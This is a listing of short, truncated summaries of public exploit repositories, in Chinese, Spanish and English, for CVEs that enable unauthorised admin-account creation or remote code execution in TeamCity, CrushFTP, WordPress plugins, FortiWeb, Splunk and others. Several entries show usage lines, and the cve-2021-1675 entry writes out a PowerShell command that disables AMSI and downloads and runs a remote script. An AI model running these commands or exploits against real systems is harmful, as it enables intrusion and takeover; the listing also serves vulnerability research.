CVE-2023-42793

CVE-2023-42793 - TeamCity 管理员账户创建导致远程代码执行 RCE 首先使用 exploit.py 为你创建一个管理员账户，然后使用 rce.py 在目标上执行命令，关于反弹 Shell 请查看这里 漏洞利用脚本 描述 该脚本利用 CVE-2023-42793 在 TeamCity 服务器上创建管理员账户。它向目标 URL 发送 POST 请求，使用指定或随机凭据创建管理员用户。 使用方法 root@kitploit: python exploit.py -u -v -n -p -e 选项 -u, --url URL：目标 URL（必填） -v,...

CVE-2025-31161

CVE-2025-31161 CVE-2025-31161 / CVE-2025-2825 的概念验证 此POC将利用身份验证绕过漏洞创建一个具有管理员级别权限的新用户账户。身份验证绕过需要CrushFTP服务器上现有用户的用户名（targetuser）。默认设置为crushadmin 用法 root@kitploit: usage: cve-2025-31161.py -h --targethost TARGETHOST --port PORT --targetuser TARGETUSER --newuser NEWUSER --password PASSWORD Exploit...

CVE-2020-25078

CVE-2020-25078 使用说明 instructions 攻击url放同一目录下 ip.txt The attack IP is placed in the same directory as ip.txt Terminal log root@localhost:/CVE-2020-25078ls CVE-2020-25078.py ip.txt root@localhost:/CVE-2020-25078cat ./ip.txt https://xxx.xxx.xxx.xxx:3128 http://xxx.xxx.xxx.xxx:80...

CVE-2023-22515-Scan.

Escaneo CVE-2023-22515 Acerca de Este es un escáner simple para CVE-2023-22515, una vulnerabilidad crítica en Atlassian Confluence Data Center y Server que está siendo explotada activamente en la naturaleza por actores de amenazas para "crear cuentas de administrador de Confluence no autorizadas ...

CVE-2021-39409

CVE-2021-39409 El registro de cuentas de administrador es posible en Online Student Rate System v1.0, lo que permite a un actor malicioso crear una cuenta de administrador y acceder al panel de administración. Vulnerabilidad root@kitploit: POST /ajax.php?action=signup HTTP/1.1 Host: localhost...

CVE-2025-6934

CVE-2025-6934 Opal Estate Pro 中的未授权权限提升 描述 CVE-2025-6934 是 Opal Estate Pro WordPress 插件（≤ v1.7.5）中的一个严重漏洞。 该漏洞允许未授权的攻击者 通过发送特制请求来创建新的管理员帐户，请求发送至： root@kitploit: /wp-admin/admin-ajax.php?action=opalestate\register\form 根本原因在于注册过程中的nonce 解析（opalestate-register-nonce）未正确验证。...

CVE-2024-27198_LAB

Laboratorio CVE-2024-27198 Descripción TeamCity proporciona una página solo para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar un ID de un...

CVE-2025-4334

CVE-2025-4334 - Simple User Registration --form 参数： -u / --url → WordPress 基础 URL（例如 https://target.com/wordpress/） --form → 注册表单的完整 URL（例如 https://target.com/wpr/default-registration/） 示例： root@kitploit: python3 CVE-2025-4334.py -u https://example.com/wordpress --form...

CVE-2025-14340

XSS para la toma de control de la cuenta de administrador CVE-2025-14340 Una vulnerabilidad de Cross-Site Scripting en la interfaz REST de administración de Payara permite la ejecución de JavaScript controlado por el atacante, lo que provoca la toma de control de la cuenta de administrador. Esto ...

VulnCheck KEV: CVE-2026-27960

OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. In versions 6.6.0 through 6.9.12, there is a privilege escalation vulnerability that can be exploited by unauthenticated attackers to query the API as any existing user, including the default admi...

CVE-2024-57523.

CVE-2024-57523 - Vulnerabilidad CSRF en Users.php - SourceCodester Packers and Movers Management System 1.0 Descripción Este repositorio contiene una Prueba de Concepto PoC para una vulnerabilidad de Falsificación de Solicitudes entre Sitios CSRF en el Packers and Movers Management System 1.0 de...

CVE-2024-31218-WEBHOOD-LAB

CVE-2024-31218 — Laboratorio de Omisión de Autenticación en Webhood / PocketBase Descripción general Este proyecto es un laboratorio controlado de investigación de seguridad y reproducción de vulnerabilidades para CVE-2024-31218 , una vulnerabilidad crítica de autenticación que afecta a las...

CVE-2025-68860

WordPress Mobile Builder = 1.4.2 - Autenticación Rota CVE-2025-68860 Descripción El plugin WordPress Mobile builder versión 1.4.2 y anteriores tiene una vulnerabilidad de Autenticación Rota que permite a un atacante crear un token JWT válido con el secreto predeterminado "examplekey" y autenticar...

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb 严重认证绕过与路径遍历漏洞 严重未认证漏洞，允许远程攻击者在 FortiWeb 设备上创建管理员账户。 📌 概述 CVE-2025-64446 是 FortiWeb Web 应用防火墙管理界面中的一个严重相对路径遍历 漏洞。 未经认证的远程攻击者可以利用此漏洞绕过认证 并创建具有完全权限的新管理员用户，从而导致设备完全失陷。 CVSS v3.1 评分 ：9.8（严重） 攻击类型 ：远程未认证 影响 ：完全管理权限接管 状态 ：已在野外被积极利用 🛠️ 受影响版本 产品| 受影响版本| 修复版本 ---|---|--- FortiWeb...

cve-2021-1675

cve-2021-1675 禁用AMSI：（复制到PowerShell） https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt 执行 invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 创建管理员账户 Invoke-Nightmare -DriverName...

CVE-2024-27956

🚨POC PUBLICADO🚨PoC para inyección SQL que conduce a RCE en Wordpress publicado CVE-2024-27956. Creación de cuenta de administrador de WordPress y shell inversa cve-2024-27956 Uso- sudo python3 cve.py...

CVE-2023-3460

🚨 CVE-2023-3460 - Exploit de escalada de privilegios en WordPress Ultimate Member Este es un exploit de prueba de concepto PoC para CVE-2023-3460, una vulnerabilidad crítica en el plugin de WordPress Ultimate Member. Permite a usuarios no autenticados escalar sus privilegios a Administrador...

CVE-2019-6249_Hucart-cms

CVE-2019-6249Hucart cms 一、漏洞摘要 漏洞名称: Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号 上报日期: 2019-01-13 漏洞发现者: AllenChen（[email protected]） 产品首页: http://www.hucart.com/ 软件链接: http://www.hucart.com/ 版本: v5.7.4 CVE编号: CVE-2019-6249\ 二、漏洞概述 Hucart cms v5.7.4版本存在一个CSRF漏洞，当管理员登陆后访问下面CSRF测试页面可增加一个名为hack的管理员账号。...

CVE-2023-32707

CVE-2023-32707 基于 exploitdb 上报告的 CVE 改进的 POC 利用脚本 漏洞标题：Splunk 9.0.5 - 管理员账户接管 CVE：CVE-2023-32707 概述 该脚本用于利用 Splunk 9.0.5 中的一个漏洞，导致管理员账户被接管。该漏洞利用拥有 edituser 能力的低权限用户来提升权限。 前提条件 Python 3.x 所需的 Python 包（使用 pip3 install -r requirements.txt 安装）： requests urllib3 用法 1. 克隆仓库： root@kitploit: git clone...

CVE-2024-24401

Informe de Vulnerabilidad CVE Descubierto DISEÑADO PARA EJECUTARSE EN KALI LINUX Notas Nagios ha parcheado la versión 2024R1.0.1 en todas las descargas recientes. Para determinar si un objetivo es vulnerable, asegúrese de que esté utilizando una descarga anterior de 2024R1.0.1. El script...